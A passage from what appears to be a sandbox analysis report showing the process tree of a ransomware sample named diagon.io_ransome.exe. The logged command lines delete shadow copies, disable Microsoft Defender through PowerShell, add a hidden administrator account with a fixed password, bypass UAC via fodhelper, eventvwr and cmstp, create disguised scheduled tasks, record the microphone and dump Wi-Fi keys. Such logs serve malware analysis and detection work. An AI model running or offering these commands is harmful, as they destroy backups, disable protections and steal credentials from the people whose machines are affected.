                                                                                                                                              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                              2⤵
                                                                                                                                                PID:11568
                                                                                                                                              • C:\Windows\System32\net.exe
                                                                                                                                                "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                2⤵
                                                                                                                                                  PID:9232
                                                                                                                                              • C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:828
                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
                                                                                                                                                    2⤵
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:1820
                                                                                                                                                  • C:\Windows\System32\cmstp.exe
                                                                                                                                                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\63b6eeb3-e685-4425-88ee-c8f9e86269e4.inf
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3480
                                                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:3692
                                                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:732
                                                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2216
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4080
                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                  PID:1220
                                                                                                                                                                • C:\Windows\System32\cmstp.exe
                                                                                                                                                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\52a5c9c6-a477-4ddf-b413-1a1cdf615939.inf
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1612
                                                                                                                                                                  • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                    "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:2588
                                                                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                                                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:4920
                                                                                                                                                                      • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                        "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2784
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:5960
                                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                PID:5480
                                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a0825625-700e-42f4-9688-5b0164d7799b.inf
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:2280
                                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:4256
                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:4932
                                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:4044
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:6552
                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                              8⤵
                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                              PID:3040
                                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bcc51dee-d146-4c7f-9d46-b4b7233c1710.inf
                                                                                                                                                                                              8⤵
                                                                                                                                                                                                PID:6284
                                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                  PID:5332
                                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                      PID:7028
                                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                      PID:6332
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                          PID:6964
                                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                            PID:8016
                                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3aaa6f97-c0dc-4e5d-8e45-6cfee4ebf93f.inf
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:7196
                                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                PID:7344
                                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                    PID:7428
                                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:6884
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                        PID:8224
                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                          PID:9060
                                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0de3ec47-2f7c-4e0d-bff2-981c732d64a7.inf
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                            PID:9176
                                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:8336
                                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                  PID:8596
                                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:8612
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                      PID:8984
                                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                        PID:10448
                                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0c0a72fe-8b17-4493-8c69-edcacc993ab5.inf
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                          PID:9488
                                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                            PID:11328
                                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                PID:11500
                                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                PID:11848
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:11972
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:11272
                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                            PID:7672
                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                            PID:2252
                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:10076
                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                              PID:9724
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                  PID:11096
                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                            PID:6680
                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                            PID:7268
                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:8848
                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                              PID:9032
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                  PID:7092
                                                                                                                                                                                                                                              • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                "notepad.exe"
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                  PID:11004
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                              PID:6780
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:5984
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:7860
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                PID:7956
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                    PID:6104
                                                                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                  "notepad.exe"
                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                    PID:9132
                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251875612849.wav')"
                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                    PID:9660
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:5796
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:6772
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:5352
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:6756
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                      PID:6620
                                                                                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                    "notepad.exe"
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:6816
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                  PID:3824
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:5808
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:5244
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:3684
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:736
                                                                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                      "notepad.exe"
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:7420
                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251769206383.wav')"
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                        PID:9920
                                                                                                                                                                                                                                                      • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                        "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                        PID:9064
                                                                                                                                                                                                                                                      • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                                                                                        PID:10452
                                                                                                                                                                                                                                                      • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:11776
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      PID:2452
                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                      "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                      PID:1080
                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Creates a new local user account
                                                                                                                                                                                                                                                        PID:3704
                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                      "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:5640
                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:6068
                                                                                                                                                                                                                                                        • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                          "notepad.exe"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4864
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251769206383.wav')"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            PID:9896
                                                                                                                                                                                                                                                          • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                            "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                            PID:8280
                                                                                                                                                                                                                                                          • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Interacts with shadow copies
                                                                                                                                                                                                                                                            PID:11032
                                                                                                                                                                                                                                                          • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:11856
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:2664
                                                                                                                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                PID:4236
                                                                                                                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\11377c79-3c57-4eb0-b072-9a2c80cca266.inf
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:4044
                                                                                                                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:8
                                                                                                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:748
                                                                                                                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:3696
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2440
                                                                                                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                              PID:3256
                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6e0b1846-5a3b-4f8d-8070-788bdfef3b45.inf
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:3656
                                                                                                                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:2672
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:4584
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5148
